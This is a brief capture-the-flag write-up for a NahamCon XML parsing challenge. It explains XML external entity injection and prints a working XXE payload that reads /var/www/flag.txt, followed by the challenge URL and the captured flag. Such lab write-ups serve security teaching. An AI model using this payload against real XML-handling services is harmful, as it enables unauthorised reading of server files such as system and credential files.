EXtravagant
I've been working on a XML parsing service. It's not finished but there should be enough for you to try out.
The flag is in /var/www
Press the Start button on the top-right to begin this challenge.
Solving
To solve this one, we need to upload our own malformed XML document (XML external entity (XXE) injection). Create a XML file similar this one, to read the flag content in /var/www/.
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///var/www/flag.txt'>]>
<root>&read;</root>Upload this file and read the content of it via the View XML function in the webapp.
http://challenge.nahamcon.com:31161/XML?file=text.xml
There it is, our sweet nice flag.
flag{639b72f2dd0017f454c44c3863c4e195}